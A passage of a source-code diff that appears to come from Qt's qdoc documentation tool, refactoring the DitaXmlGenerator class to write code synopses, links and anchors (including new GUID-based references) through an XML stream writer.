QString marked = marker->markedUpSynopsis(node, relative, style);
- QRegExp templateTag("(<[^@>]*>)");
- if (marked.indexOf(templateTag) != -1) {
- QString contents = protectEnc(marked.mid(templateTag.pos(1),
- templateTag.cap(1).length()));
- marked.replace(templateTag.pos(1), templateTag.cap(1).length(),
- contents);
+ QRegExp tag("(<[^@>]*>)");
+ if (marked.indexOf(tag) != -1) {
+ QString tmp = protectEnc(marked.mid(tag.pos(1), tag.cap(1).length()));
+ marked.replace(tag.pos(1), tag.cap(1).length(), tmp);
}
marked.replace(QRegExp("<@param>([a-z]+)_([1-9n])</@param>"),
"<i>\\1<sub>\\2</sub></i>");
- marked.replace("<@param>", "<i>");
- marked.replace("</@param>", "</i>");
-
+#if 0
+ marked.replace("<@param>","<i>");
+ marked.replace("</@param>","</i>");
+#endif
if (style == CodeMarker::Summary) {
- marked.replace("<@name>", ""); // was "<b>"
- marked.replace("</@name>", ""); // was "</b>"
+ marked.replace("<@name>",""); // was "<b>"
+ marked.replace("</@name>",""); // was "</b>"
}
if (style == CodeMarker::SeparateList) {
QRegExp extraRegExp("<@extra>.*</@extra>");
extraRegExp.setMinimal(true);
- marked.replace(extraRegExp, "");
- } else {
- marked.replace("<@extra>", "<tt>");
- marked.replace("</@extra>", "</tt>");
+ marked.replace(extraRegExp,"");
}
+#if 0
+ else {
+ marked.replace("<@extra>","<tt>");
+ marked.replace("</@extra>","</tt>");
+ }
+#endif
if (style != CodeMarker::Detailed) {
- marked.replace("<@type>", "");
- marked.replace("</@type>", "");
+ marked.replace("<@type>","");
+ marked.replace("</@type>","");
}
- out() << highlightedCode(marked, marker, relative, style, nameAlignment);
+ return marked;
}
-QString DitaXmlGenerator::highlightedCode(const QString& markedCode,
- CodeMarker *marker,
- const Node *relative,
- CodeMarker::SynopsisStyle ,
- bool nameAlignment)
+/*!
+ Renamed from highlightedCode() in the html generator. Writes
+ the \a markedCode to the current XML stream.
+ */
+void DitaXmlGenerator::writeText(const QString& markedCode,
+ CodeMarker* marker,
+ const Node* relative)
{
QString src = markedCode;
QString html;
@@ -3073,130 +3217,29 @@ QString DitaXmlGenerator::highlightedCode(const QString& markedCode,
const QChar charLangle = '<';
const QChar charAt = '@';
- // replace all <@link> tags: "(<@link node=\"([^\"]+)\">).*(</@link>)"
- static const QString linkTag("link");
- bool done = false;
- for (int i = 0, n = src.size(); i < n;) {
- if (src.at(i) == charLangle && src.at(i + 1).unicode() == '@') {
- if (nameAlignment && !done) {// && (i != 0)) Why was this here?
- html += "</td><td class=\"memItemRight bottomAlign\">";
- done = true;
- }
- i += 2;
- if (parseArg(src, linkTag, &i, n, &arg, &par1)) {
- html += "<b>";
- QString link = linkForNode(
- CodeMarker::nodeForString(par1.toString()), relative);
- addLink(link, arg, &html);
- html += "</b>";
- }
- else {
- html += charLangle;
- html += charAt;
- }
- }
- else {
- html += src.at(i++);
- }
- }
-
-
- if (slow) {
- // is this block ever used at all?
- // replace all <@func> tags: "(<@func target=\"([^\"]*)\">)(.*)(</@func>)"
- src = html;
- html = QString();
- static const QString funcTag("func");
- for (int i = 0, n = src.size(); i < n;) {
- if (src.at(i) == charLangle && src.at(i + 1) == charAt) {
- i += 2;
- if (parseArg(src, funcTag, &i, n, &arg, &par1)) {
- QString link = linkForNode(
- marker->resolveTarget(par1.toString(),
- myTree,
- relative),
- relative);
- addLink(link, arg, &html);
- par1 = QStringRef();
- }
- else {
- html += charLangle;
- html += charAt;
- }
- }
- else {
- html += src.at(i++);
- }
- }
- }
-
- // replace all "(<@(type|headerfile|func)(?: +[^>]*)?>)(.*)(</@\\2>)" tags
- src = html;
- html = QString();
- static const QString typeTags[] = { "type", "headerfile", "func" };
- for (int i = 0, n = src.size(); i < n;) {
- if (src.at(i) == charLangle && src.at(i + 1) == charAt) {
- i += 2;
- bool handled = false;
- for (int k = 0; k != 3; ++k) {
- if (parseArg(src, typeTags[k], &i, n, &arg, &par1)) {
- par1 = QStringRef();
- QString link = linkForNode(
- marker->resolveTarget(arg.toString(), myTree, relative),
- relative);
- addLink(link, arg, &html);
- handled = true;
- break;
- }
- }
- if (!handled) {
- html += charLangle;
- html += charAt;
- }
- }
- else {
- html += src.at(i++);
- }
- }
-
- // replace all
- // "<@comment>" -> "<span class=\"comment\">";
- // "<@preprocessor>" -> "<span class=\"preprocessor\">";
- // "<@string>" -> "<span class=\"string\">";
- // "<@char>" -> "<span class=\"char\">";
- // "</@(?:comment|preprocessor|string|char)>" -> "</span>"
- src = html;
- html = QString();
+ /*
+ First strip out all the extraneous markup. The table
+ below contains the markup we want to keep. Everything
+ else that begins with "<@" or "</@" is stripped out.
+ */
static const QString spanTags[] = {
- "<@comment>", "<span class=\"comment\">",
- "<@preprocessor>", "<span class=\"preprocessor\">",
- "<@string>", "<span class=\"string\">",
- "<@char>", "<span class=\"char\">",
- "</@comment>", "</span>",
- "</@preprocessor>","</span>",
- "</@string>", "</span>",
- "</@char>", "</span>"
- // "<@char>", "<font color=blue>",
- // "</@char>", "</font>",
- // "<@func>", "<font color=green>",
- // "</@func>", "</font>",
- // "<@id>", "<i>",
- // "</@id>", "</i>",
- // "<@keyword>", "<b>",
- // "</@keyword>", "</b>",
- // "<@number>", "<font color=yellow>",
- // "</@number>", "</font>",
- // "<@op>", "<b>",
- // "</@op>", "</b>",
- // "<@param>", "<i>",
- // "</@param>", "</i>",
- // "<@string>", "<font color=green>",
- // "</@string>", "</font>",
+ "<@link ", "<@link ",
+ "<@type>", "<@type>",
+ "<@headerfile>", "<@headerfile>",
+ "<@func>", "<@func>",
+ "<@param>", "<@param>",
+ "<@extra>", "<@extra>",
+ "</@link>", "</@link>",
+ "</@type>", "</@type>",
+ "</@headerfile>", "</@headerfile>",
+ "</@func>", "</@func>",
+ "</@param>", "</@param>",
+ "</@extra>", "</@extra>"
};
for (int i = 0, n = src.size(); i < n;) {
if (src.at(i) == charLangle) {
bool handled = false;
- for (int k = 0; k != 8; ++k) {
+ for (int k = 0; k != 12; ++k) {
const QString & tag = spanTags[2 * k];
if (tag == QStringRef(&src, i, tag.length())) {
html += spanTags[2 * k + 1];
@@ -3226,45 +3269,120 @@ QString DitaXmlGenerator::highlightedCode(const QString& markedCode,
}
}
- return html;
+ // replace all <@link> tags: "(<@link node=\"([^\"]+)\">).*(</@link>)"
+ // replace all "(<@(type|headerfile|func)(?: +[^>]*)?>)(.*)(</@\\2>)" tags
+ src = html;
+ html = QString();
+ static const QString markTags[] = {
+ // 0 1 2 3 4 5
+ "link", "type", "headerfile", "func", "param", "extra"
+ };
+
+ for (int i = 0, n = src.size(); i < n;) {
+ if (src.at(i) == charLangle && src.at(i + 1) == charAt) {
+ i += 2;
+ bool handled = false;
+ for (int k = 0; k != 6; ++k) {
+ if (parseArg(src, markTags[k], &i, n, &arg, &par1)) {
+ const Node* n = 0;
+ if (k == 0) { // <@link>
+ if (!html.isEmpty()) {
+ writeCharacters(html);
+ html.clear();
+ }
+ n = CodeMarker::nodeForString(par1.toString());
+ QString link = linkForNode(n, relative);
+ addLink(link, arg);
+ }
+ else if (k == 4) { // <@param>
+ if (!html.isEmpty()) {
+ writeCharacters(html);
+ html.clear();
+ }
+ xmlWriter().writeStartElement("i");
+ writeCharacters(arg.toString());
+ xmlWriter().writeEndElement(); // </i>
+ }
+ else if (k == 5) { // <@extra>
+ if (!html.isEmpty()) {
+ writeCharacters(html);
+ html.clear();
+ }
+ xmlWriter().writeStartElement("tt");
+ writeCharacters(arg.toString());
+ xmlWriter().writeEndElement(); // </tt>
+ }
+ else {
+ if (!html.isEmpty()) {
+ writeCharacters(html);
+ html.clear();
+ }
+ par1 = QStringRef();
+ QString link;
+ n = marker->resolveTarget(arg.toString(), myTree, relative);
+ if (n && n->subType() == Node::QmlBasicType) {
+ if (relative && relative->subType() == Node::QmlClass) {
+ link = linkForNode(n,relative);
+ addLink(link, arg);
+ }
+ else {
+ link = arg.toString();
+ }
+ }
+ else {
+ // (zzz) Is this correct for all cases?
+ link = linkForNode(n,relative);
+ addLink(link, arg);
+ }
+ }
+ handled = true;
+ break;
+ }
+ }
+ }
+ else {
+ html += src.at(i++);
+ }
+ }
+
+ if (!html.isEmpty()) {
+ writeCharacters(html);
+ }
}
void DitaXmlGenerator::generateLink(const Atom* atom,
- const Node* /* relative */,
- CodeMarker* marker)
+ const Node* /* relative */,
+ CodeMarker* marker)
{
static QRegExp camelCase("[A-Z][A-Z][a-z]|[a-z][A-Z0-9]|_");
if (funcLeftParen.indexIn(atom->string()) != -1 && marker->recognizeLanguage("Cpp")) {
// hack for C++: move () outside of link
int k = funcLeftParen.pos(1);
- writer.writeCharacters(protectEnc(atom->string().left(k)));
+ writeCharacters(protectEnc(atom->string().left(k)));
if (link.isEmpty()) {
if (showBrokenLinks)
- writer.writeEndElement(); // </i>
- }
- else {
- writer.writeEndElement(); // </xref>
+ xmlWriter().writeEndElement(); // </i>
}
+ else
+ xmlWriter().writeEndElement(); // </xref>
inLink = false;
- writer.writeCharacters(protectEnc(atom->string().mid(k)));
- } else if (marker->recognizeLanguage("Java")) {
+ writeCharacters(protectEnc(atom->string().mid(k)));
+ }
+ else if (marker->recognizeLanguage("Java")) {
// hack for Java: remove () and use <tt> when appropriate
bool func = atom->string().endsWith("()");
bool tt = (func || atom->string().contains(camelCase));
if (tt)
- writer.writeStartElement("tt");
- if (func) {
- writer.writeCharacters(protectEnc(atom->string().left(atom->string().length() - 2)));
- }
- else {
- writer.writeCharacters(protectEnc(atom->string()));
- }
- writer.writeEndElement(); // </tt>
- }
- else {
- writer.writeCharacters(protectEnc(atom->string()));
+ xmlWriter().writeStartElement("tt");
+ if (func)
+ writeCharacters(protectEnc(atom->string().left(atom->string().length() - 2)));
+ else
+ writeCharacters(protectEnc(atom->string()));
+ xmlWriter().writeEndElement(); // </tt>
}
+ else
+ writeCharacters(protectEnc(atom->string()));
}
QString DitaXmlGenerator::cleanRef(const QString& ref)
@@ -3279,14 +3397,17 @@ QString DitaXmlGenerator::cleanRef(const QString& ref)
const uint u = c.unicode();
if ((u >= 'a' && u <= 'z') ||
- (u >= 'A' && u <= 'Z') ||
- (u >= '0' && u <= '9')) {
+ (u >= 'A' && u <= 'Z') ||
+ (u >= '0' && u <= '9')) {
clean += c;
- } else if (u == '~') {
+ }
+ else if (u == '~') {
clean += "dtor.";
- } else if (u == '_') {
+ }
+ else if (u == '_') {
clean += "underscore.";
- } else {
+ }
+ else {
clean += "A";
}
@@ -3294,25 +3415,33 @@ QString DitaXmlGenerator::cleanRef(const QString& ref)
const QChar c = ref[i];
const uint u = c.unicode();
if ((u >= 'a' && u <= 'z') ||
- (u >= 'A' && u <= 'Z') ||
- (u >= '0' && u <= '9') || u == '-' ||
- u == '_' || u == ':' || u == '.') {
+ (u >= 'A' && u <= 'Z') ||
+ (u >= '0' && u <= '9') || u == '-' ||
+ u == '_' || u == ':' || u == '.') {
clean += c;
- } else if (c.isSpace()) {
+ }
+ else if (c.isSpace()) {
clean += "-";
- } else if (u == '!') {
+ }
+ else if (u == '!') {
clean += "-not";
- } else if (u == '&') {
+ }
+ else if (u == '&') {
clean += "-and";
- } else if (u == '<') {
+ }
+ else if (u == '<') {
clean += "-lt";
- } else if (u == '=') {
+ }
+ else if (u == '=') {
clean += "-eq";
- } else if (u == '>') {
+ }
+ else if (u == '>') {
clean += "-gt";
- } else if (u == '#') {
+ }
+ else if (u == '#') {
clean += "#";
- } else {
+ }
+ else {
clean += "-";
clean += QString::number((int)u, 16);
}
@@ -3329,20 +3458,27 @@ QString DitaXmlGenerator::registerRef(const QString& ref)
if (prevRef.isEmpty()) {
prevRef = ref;
break;
- } else if (prevRef == ref) {
- break;
}
+ else if (prevRef == ref)
+ break;
+#if 0
+ else
+ qDebug() << "PREVREF:" << prevRef;
+#endif
clean += "x";
}
return clean;
}
-QString DitaXmlGenerator::protectEnc(const QString &string)
+/*!
+ Calls protect() with the \a string. Returns the result.
+ */
+QString DitaXmlGenerator::protectEnc(const QString& string)
{
return protect(string, outputEncoding);
}
-QString DitaXmlGenerator::protect(const QString &string, const QString &outputEncoding)
+QString DitaXmlGenerator::protect(const QString& string, const QString& outputEncoding)
{
#define APPEND(x) \
if (xml.isEmpty()) { \
@@ -3359,20 +3495,25 @@ QString DitaXmlGenerator::protect(const QString &string, const QString &outputEn
if (ch == QLatin1Char('&')) {
APPEND("&amp;");
- } else if (ch == QLatin1Char('<')) {
+ }
+ else if (ch == QLatin1Char('<')) {
APPEND("&lt;");
- } else if (ch == QLatin1Char('>')) {
+ }
+ else if (ch == QLatin1Char('>')) {
APPEND("&gt;");
- } else if (ch == QLatin1Char('"')) {
+ }
+ else if (ch == QLatin1Char('"')) {
APPEND("&quot;");
- } else if ((outputEncoding == "ISO-8859-1" && ch.unicode() > 0x007F)
- || (ch == QLatin1Char('*') && i + 1 < n && string.at(i) == QLatin1Char('/'))
- || (ch == QLatin1Char('.') && i > 2 && string.at(i - 2) == QLatin1Char('.'))) {
+ }
+ else if ((outputEncoding == "ISO-8859-1" && ch.unicode() > 0x007F) ||
+ (ch == QLatin1Char('*') && i + 1 < n && string.at(i) == QLatin1Char('/')) ||
+ (ch == QLatin1Char('.') && i > 2 && string.at(i - 2) == QLatin1Char('.'))) {
// we escape '*/' and the last dot in 'e.g.' and 'i.e.' for the Javadoc generator
APPEND("&#x");
xml += QString::number(ch.unicode(), 16);
xml += QLatin1Char(';');
- } else {
+ }
+ else {
if (!xml.isEmpty())
xml += ch;
}
@@ -3385,12 +3526,15 @@ QString DitaXmlGenerator::protect(const QString &string, const QString &outputEn
#undef APPEND
}
-QString DitaXmlGenerator::fileBase(const Node *node)
+/*!
+ Constructs a file name appropriate for the \a node
+ and returns the file name.
+ */
+QString DitaXmlGenerator::fileBase(const Node* node) const
{
QString result;
-
result = PageGenerator::fileBase(node);
-
+#if 0
if (!node->isInnerNode()) {
switch (node->status()) {
case Node::Compat:
@@ -3403,47 +3547,14 @@ QString DitaXmlGenerator::fileBase(const Node *node)
;
}
}
+#endif
return result;
}
-#if 0
-QString DitaXmlGenerator::fileBase(const Node *node,
- const SectionIterator& section)
+QString DitaXmlGenerator::refForNode(const Node* node)
{
- QStringList::ConstIterator s = section.sectionNumber().end();
- QStringList::ConstIterator b = section.baseNameStack().end();
-
- QString suffix;
- QString base = fileBase(node);
-
- while (s != section.sectionNumber().begin()) {
- --s;
- --b;
- if (!(*b).isEmpty()) {
- base = *b;
- break;
- }
- suffix.prepend("-" + *s);
- }
- return base + suffix;
-}
-#endif
-
-QString DitaXmlGenerator::fileName(const Node *node)
-{
- if (node->type() == Node::Fake) {
- if (static_cast<const FakeNode *>(node)->subType() == Node::ExternalPage)
- return node->name();
- if (static_cast<const FakeNode *>(node)->subType() == Node::Image)
- return node->name();
- }
- return PageGenerator::fileName(node);
-}
-
-QString DitaXmlGenerator::refForNode(const Node *node)
-{
- const FunctionNode *func;
- const TypedefNode *typedeffe;
+ const FunctionNode* func;
+ const TypedefNode* tdn;
QString ref;
switch (node->type()) {
@@ -3455,9 +3566,9 @@ QString DitaXmlGenerator::refForNode(const Node *node)
ref = node->name() + "-enum";
break;
case Node::Typedef:
- typedeffe = static_cast<const TypedefNode *>(node);
- if (typedeffe->associatedEnum()) {
- return refForNode(typedeffe->associatedEnum());
+ tdn = static_cast<const TypedefNode *>(node);
+ if (tdn->associatedEnum()) {
+ return refForNode(tdn->associatedEnum());
}
else {
ref = node->name() + "-typedef";
@@ -3474,23 +3585,19 @@ QString DitaXmlGenerator::refForNode(const Node *node)
ref += "-" + QString::number(func->overloadNumber());
}
break;
-#ifdef QDOC_QML
case Node::Fake:
if (node->subType() != Node::QmlPropertyGroup)
break;
case Node::QmlProperty:
-#endif
case Node::Property:
ref = node->name() + "-prop";
break;
-#ifdef QDOC_QML
case Node::QmlSignal:
ref = node->name() + "-signal";
break;
case Node::QmlMethod:
ref = node->name() + "-method";
break;
-#endif
case Node::Variable:
ref = node->name() + "-var";
break;
@@ -3500,12 +3607,74 @@ QString DitaXmlGenerator::refForNode(const Node *node)
return registerRef(ref);
}
-QString DitaXmlGenerator::linkForNode(const Node *node, const Node *relative)
+QString DitaXmlGenerator::guidForNode(const Node* node)
{
- QString link;
- QString fn;
- QString ref;
+ switch (node->type()) {
+ case Node::Namespace:
+ case Node::Class:
+ default:
+ break;
+ case Node::Enum:
+ return node->guid();
+ case Node::Typedef:
+ {
+ const TypedefNode* tdn = static_cast<const TypedefNode*>(node);
+ if (tdn->associatedEnum())
+ return guidForNode(tdn->associatedEnum());
+ }
+ return node->guid();
+ case Node::Function:
+ {
+ const FunctionNode* fn = static_cast<const FunctionNode*>(node);
+ if (fn->associatedProperty()) {
+ return guidForNode(fn->associatedProperty());
+ }
+ else {
+ QString ref = fn->name();
+ if (fn->overloadNumber() != 1) {
+ ref += "-" + QString::number(fn->overloadNumber());
+ //qDebug() << "guidForNode() overloaded function:" << outFileName() << ref;
+ }
+ }
+ return fn->guid();
+ }
+ case Node::Fake:
+ if (node->subType() != Node::QmlPropertyGroup)
+ break;
+ case Node::QmlProperty:
+ case Node::Property:
+ return node->guid();
+ case Node::QmlSignal:
+ return node->guid();
+ case Node::QmlMethod:
+ return node->guid();
+ case Node::Variable:
+ return node->guid();
+ case Node::Target:
+ return node->guid();
+ }
+ return QString();
+}
+/*!
+ Constructs a file name appropriate for the \a node and returns
+ it. If the \a node is not a fake node, or if it is a fake node but
+ it is neither an external page node nor an image node, call the
+ PageGenerator::fileName() function.
+ */
+QString DitaXmlGenerator::fileName(const Node* node)
+{
+ if (node->type() == Node::Fake) {
+ if (static_cast<const FakeNode*>(node)->subType() == Node::ExternalPage)
+ return node->name();
+ if (static_cast<const FakeNode*>(node)->subType() == Node::Image)
+ return node->name();
+ }
+ return PageGenerator::fileName(node);
+}
+
+QString DitaXmlGenerator::linkForNode(const Node* node, const Node* relative)
+{
if (node == 0 || node == relative)
return QString();
if (!node->url().isEmpty())
@@ -3515,132 +3684,44 @@ QString DitaXmlGenerator::linkForNode(const Node *node, const Node *relative)
if (node->access() == Node::Private)
return QString();
- fn = fileName(node);
- link += fn;
+ QString fn = fileName(node);
+ QString link = fn;
if (!node->isInnerNode() || node->subType() == Node::QmlPropertyGroup) {
- ref = refForNode(node);
- if (relative && fn == fileName(relative) && ref == refForNode(relative))
+ QString guid = guidForNode(node);
+ if (relative && fn == fileName(relative) && guid == guidForNode(relative)) {
return QString();
-
+ }
link += "#";
- link += ref;
+ link += guid;
}
return link;
}
-QString DitaXmlGenerator::refForAtom(Atom *atom, const Node * /* node */)
+QString DitaXmlGenerator::refForAtom(Atom* atom, const Node* /* node */)
{
- if (atom->type() == Atom::SectionLeft) {
+ if (atom->type() == Atom::SectionLeft)
return Doc::canonicalTitle(Text::sectionHeading(atom).toString());
- }
- else if (atom->type() == Atom::Target) {
+ if (atom->type() == Atom::Target)
return Doc::canonicalTitle(atom->string());
- }
- else {
- return QString();
- }
+ return QString();
}
-void DitaXmlGenerator::generateFullName(const Node *apparentNode,
- const Node *relative,
- CodeMarker *marker,
- const Node *actualNode)
+void DitaXmlGenerator::generateFullName(const Node* apparentNode,
+ const Node* relative,
+ CodeMarker* marker,
+ const Node* actualNode)
{
if (actualNode == 0)
actualNode = apparentNode;
- out() << "<xref href=\"" << linkForNode(actualNode, relative);
- if (true || relative == 0 || relative->status() != actualNode->status()) {
- switch (actualNode->status()) {
- case Node::Obsolete:
- out() << "\" class=\"obsolete";
- break;
- case Node::Compat:
- out() << "\" class=\"compat";
- break;
- default:
- ;
- }
- }
- out() << "\">";
- out() << protectEnc(fullName(apparentNode, relative, marker));
- out() << "</xref>";
+ xmlWriter().writeStartElement("xref");
+ QString href = linkForNode(actualNode, relative);
+ xmlWriter().writeAttribute("href",href);
+ writeCharacters(protectEnc(fullName(apparentNode, relative, marker)));
+ xmlWriter().writeEndElement(); // </xref>
}
-void DitaXmlGenerator::generateDetailedMember(const Node *node,
- const InnerNode *relative,
- CodeMarker *marker)
-{
- const EnumNode *enume;
-
-#ifdef GENERATE_MAC_REFS
- generateMacRef(node, marker);
-#endif
- if (node->type() == Node::Enum
- && (enume = static_cast<const EnumNode *>(node))->flagsType()) {
-#ifdef GENERATE_MAC_REFS
- generateMacRef(enume->flagsType(), marker);
-#endif
- out() << "<h3 class=\"flags\">";
- out() << "<a name=\"" + refForNode(node) + "\"></a>";
- generateSynopsis(enume, relative, marker, CodeMarker::Detailed);
- out() << "<br/>";
- generateSynopsis(enume->flagsType(),
- relative,
- marker,
- CodeMarker::Detailed);
- out() << "</h3>\n";
- }
- else {
- out() << "<h3 class=\"fn\">";
- out() << "<a name=\"" + refForNode(node) + "\"></a>";
- generateSynopsis(node, relative, marker, CodeMarker::Detailed);
- out() << "</h3>\n";
- }
-
- generateStatus(node, marker);
- generateBody(node, marker);
- generateThreadSafeness(node, marker);
- generateSince(node, marker);
-
- if (node->type() == Node::Property) {
- const PropertyNode *property = static_cast<const PropertyNode *>(node);
- Section section;
-
- section.members += property->getters();
- section.members += property->setters();
- section.members += property->resetters();
-
- if (!section.members.isEmpty()) {
- out() << "<p><b>Access functions:</b></p>\n";
- generateSectionList(section, node, marker, CodeMarker::Accessors);
- }
-
- Section notifiers;
- notifiers.members += property->notifiers();
-
- if (!notifiers.members.isEmpty()) {
- out() << "<p><b>Notifier signal:</b></p>\n";
- //out() << "<p>This signal is emitted when the property value is changed.</p>\n";
- generateSectionList(notifiers, node, marker, CodeMarker::Accessors);
- }
- }
- else if (node->type() == Node::Enum) {
- const EnumNode *enume = static_cast<const EnumNode *>(node);
- if (enume->flagsType()) {
- out() << "<p>The " << protectEnc(enume->flagsType()->name())
- << " type is a typedef for "
- << "<xref href=\"qflags.html\">QFlags</xref>&lt;"
- << protectEnc(enume->name())
- << "&gt;. It stores an OR combination of "
- << protectEnc(enume->name())
- << " values.</p>\n";
- }
- }
- generateAlsoList(node, marker);
-}
-
-void DitaXmlGenerator::findAllClasses(const InnerNode *node)
+void DitaXmlGenerator::findAllClasses(const InnerNode* node)
{
NodeList::const_iterator c = node->childNodes().constBegin();
while (c != node->childNodes().constEnd()) {
@@ -3694,10 +3775,10 @@ void DitaXmlGenerator::findAllClasses(const InnerNode *node)
}
/*!
- For generating the "New Classes... in 4.6" section on the
- What's New in 4.6" page.
+ For generating the "New Classes... in 4.x" section on the
+ What's New in 4.x" page.
*/
-void DitaXmlGenerator::findAllSince(const InnerNode *node)
+void DitaXmlGenerator::findAllSince(const InnerNode* node)
{
NodeList::const_iterator child = node->childNodes().constBegin();
while (child != node->childNodes().constEnd()) {
@@ -3757,24 +3838,18 @@ void DitaXmlGenerator::findAllSince(const InnerNode *node)
}
}
-#if 0
- const QRegExp versionSeparator("[\\-\\.]");
- const int minorIndex = version.indexOf(versionSeparator);
- const int patchIndex = version.indexOf(versionSeparator, minorIndex+1);
- version = version.left(patchIndex);
-#endif
-
-void DitaXmlGenerator::findAllFunctions(const InnerNode *node)
+void DitaXmlGenerator::findAllFunctions(const InnerNode* node)
{
NodeList::ConstIterator c = node->childNodes().begin();
while (c != node->childNodes().end()) {
if ((*c)->access() != Node::Private) {
if ((*c)->isInnerNode() && (*c)->url().isEmpty()) {
- findAllFunctions(static_cast<const InnerNode *>(*c));
+ findAllFunctions(static_cast<const InnerNode*>(*c));
}
else if ((*c)->type() == Node::Function) {
- const FunctionNode *func = static_cast<const FunctionNode *>(*c);
+ const FunctionNode* func = static_cast<const FunctionNode*>(*c);
if ((func->status() > Node::Obsolete) &&
+ !func->isInternal() &&
(func->metaness() != FunctionNode::Ctor) &&
(func->metaness() != FunctionNode::Dtor)) {
funcIndex[(*c)->name()].insert(myTree->fullDocumentName((*c)->parent()), *c);
@@ -3785,7 +3860,7 @@ void DitaXmlGenerator::findAllFunctions(const InnerNode *node)
}
}
-void DitaXmlGenerator::findAllLegaleseTexts(const InnerNode *node)
+void DitaXmlGenerator::findAllLegaleseTexts(const InnerNode* node)
{
NodeList::ConstIterator c = node->childNodes().begin();
while (c != node->childNodes().end()) {
@@ -3799,7 +3874,7 @@ void DitaXmlGenerator::findAllLegaleseTexts(const InnerNode *node)
}
}
-void DitaXmlGenerator::findAllNamespaces(const InnerNode *node)
+void DitaXmlGenerator::findAllNamespaces(const InnerNode* node)
{
NodeList::ConstIterator c = node->childNodes().begin();
while (c != node->childNodes().end()) {
@@ -3827,7 +3902,7 @@ void DitaXmlGenerator::findAllNamespaces(const InnerNode *node)
}
}
-int DitaXmlGenerator::hOffset(const Node *node)
+int DitaXmlGenerator::hOffset(const Node* node)
{
switch (node->type()) {
case Node::Namespace:
@@ -3835,12 +3910,6 @@ int DitaXmlGenerator::hOffset(const Node *node)
return 2;
case Node::Fake:
return 1;
-#if 0
- if (node->doc().briefText().isEmpty())
- return 1;
- else
- return 2;
-#endif
case Node::Enum:
case Node::Typedef:
case Node::Function:
@@ -3850,7 +3919,7 @@ int DitaXmlGenerator::hOffset(const Node *node)
}
}
-bool DitaXmlGenerator::isThreeColumnEnumValueTable(const Atom *atom)
+bool DitaXmlGenerator::isThreeColumnEnumValueTable(const Atom* atom)
{
while (atom != 0 && !(atom->type() == Atom::ListRight && atom->string() == ATOM_LIST_VALUE)) {
if (atom->type() == Atom::ListItemLeft && !matchAhead(atom, Atom::ListItemRight))
@@ -3860,12 +3929,12 @@ bool DitaXmlGenerator::isThreeColumnEnumValueTable(const Atom *atom)
return false;
}
-const Node *DitaXmlGenerator::findNodeForTarget(const QString &target,
- const Node *relative,
- CodeMarker *marker,
- const Atom *atom)
+const Node* DitaXmlGenerator::findNodeForTarget(const QString& target,
+ const Node* relative,
+ CodeMarker* marker,
+ const Atom* atom)
{
- const Node *node = 0;
+ const Node* node = 0;
if (target.isEmpty()) {
node = relative;
@@ -3889,10 +3958,9 @@ const Node *DitaXmlGenerator::findNodeForTarget(const QString &target,
return node;
}
-const QPair<QString,QString> DitaXmlGenerator::anchorForNode(const Node *node)
+const QPair<QString,QString> DitaXmlGenerator::anchorForNode(const Node* node)
{
QPair<QString,QString> anchorPair;
-
anchorPair.first = PageGenerator::fileName(node);
if (node->type() == Node::Fake) {
const FakeNode *fakeNode = static_cast<const FakeNode*>(node);
@@ -3902,36 +3970,34 @@ const QPair<QString,QString> DitaXmlGenerator::anchorForNode(const Node *node)
return anchorPair;
}
-QString DitaXmlGenerator::getLink(const Atom *atom,
- const Node *relative,
- CodeMarker *marker,
- const Node** node)
+QString DitaXmlGenerator::getLink(const Atom* atom,
+ const Node* relative,
+ CodeMarker* marker,
+ const Node** node)
{
QString link;
*node = 0;
inObsoleteLink = false;
if (atom->string().contains(":") &&
- (atom->string().startsWith("file:")
- || atom->string().startsWith("http:")
- || atom->string().startsWith("https:")
- || atom->string().startsWith("ftp:")
- || atom->string().startsWith("mailto:"))) {
-
+ (atom->string().startsWith("file:")
+ || atom->string().startsWith("http:")
+ || atom->string().startsWith("https:")
+ || atom->string().startsWith("ftp:")
+ || atom->string().startsWith("mailto:"))) {
+
link = atom->string();
}
else {
QStringList path;
- if (atom->string().contains('#')) {
+ if (atom->string().contains('#'))
path = atom->string().split('#');
- }
- else {
+ else
path.append(atom->string());
- }
-
- Atom *targetAtom = 0;
+ Atom* targetAtom = 0;
QString first = path.first().trimmed();
+
if (first.isEmpty()) {
*node = relative;
}
@@ -3949,51 +4015,36 @@ QString DitaXmlGenerator::getLink(const Atom *atom,
}
if (*node) {
- if (!(*node)->url().isEmpty())
+ if (!(*node)->url().isEmpty()) {
return (*node)->url();
- else
+ }
+ else {
path.removeFirst();
+ }
}
else {
*node = relative;
}
- if (*node) {
- if ((*node)->status() == Node::Obsolete) {
- if (relative) {
- if (relative->parent() != *node) {
- if (relative->status() != Node::Obsolete) {
- bool porting = false;
- if (relative->type() == Node::Fake) {
- const FakeNode* fake = static_cast<const FakeNode*>(relative);
- if (fake->title().startsWith("Porting"))
- porting = true;
- }
- QString name = marker->plainFullName(relative);
- if (!porting && !name.startsWith("Q3")) {
- if (obsoleteLinks) {
- relative->doc().location().warning(tr("Link to obsolete item '%1' in %2")
- .arg(atom->string())
- .arg(name));
- }
- inObsoleteLink = true;
- }
- }
- }
+ if (*node && (*node)->status() == Node::Obsolete) {
+ if (relative && (relative->parent() != *node) &&
+ (relative->status() != Node::Obsolete)) {
+ bool porting = false;
+ if (relative->type() == Node::Fake) {
+ const FakeNode* fake = static_cast<const FakeNode*>(relative);
+ if (fake->title().startsWith("Porting"))
+ porting = true;
}
- else {
- qDebug() << "Link to Obsolete entity"
- << (*node)->name() << "no relative";
+ QString name = marker->plainFullName(relative);
+ if (!porting && !name.startsWith("Q3")) {
+ if (obsoleteLinks) {
+ relative->doc().location().warning(tr("Link to obsolete item '%1' in %2")
+ .arg(atom->string())
+ .arg(name));
+ }
+ inObsoleteLink = true;
}
}
-#if 0
- else if ((*node)->status() == Node::Deprecated) {
- qDebug() << "Link to Deprecated entity";
- }
- else if ((*node)->status() == Node::Internal) {
- qDebug() << "Link to Internal entity";
- }
-#endif
}
while (!path.isEmpty()) {
@@ -4007,21 +4058,37 @@ QString DitaXmlGenerator::getLink(const Atom *atom,
link = linkForNode(*node, relative);
if (*node && (*node)->subType() == Node::Image)
link = "images/used-in-examples/" + link;
- if (targetAtom)
- link += "#" + refForAtom(targetAtom, *node);
+ if (targetAtom) {
+ if (link.isEmpty())
+ link = outFileName();
+ QString guid = lookupGuid(link,refForAtom(targetAtom,*node));
+ link += "#" + guid;
+ }
+#if 0
+ else if (link.isEmpty() && *node) {
+ link = outFileName() + "#" + (*node)->guid();
+ }
+#endif
+ else if (!link.isEmpty() && *node && link.endsWith(".xml")) {
+ link += "#" + (*node)->guid();
+ }
}
}
+ if (!link.isEmpty() && link[0] == '#') {
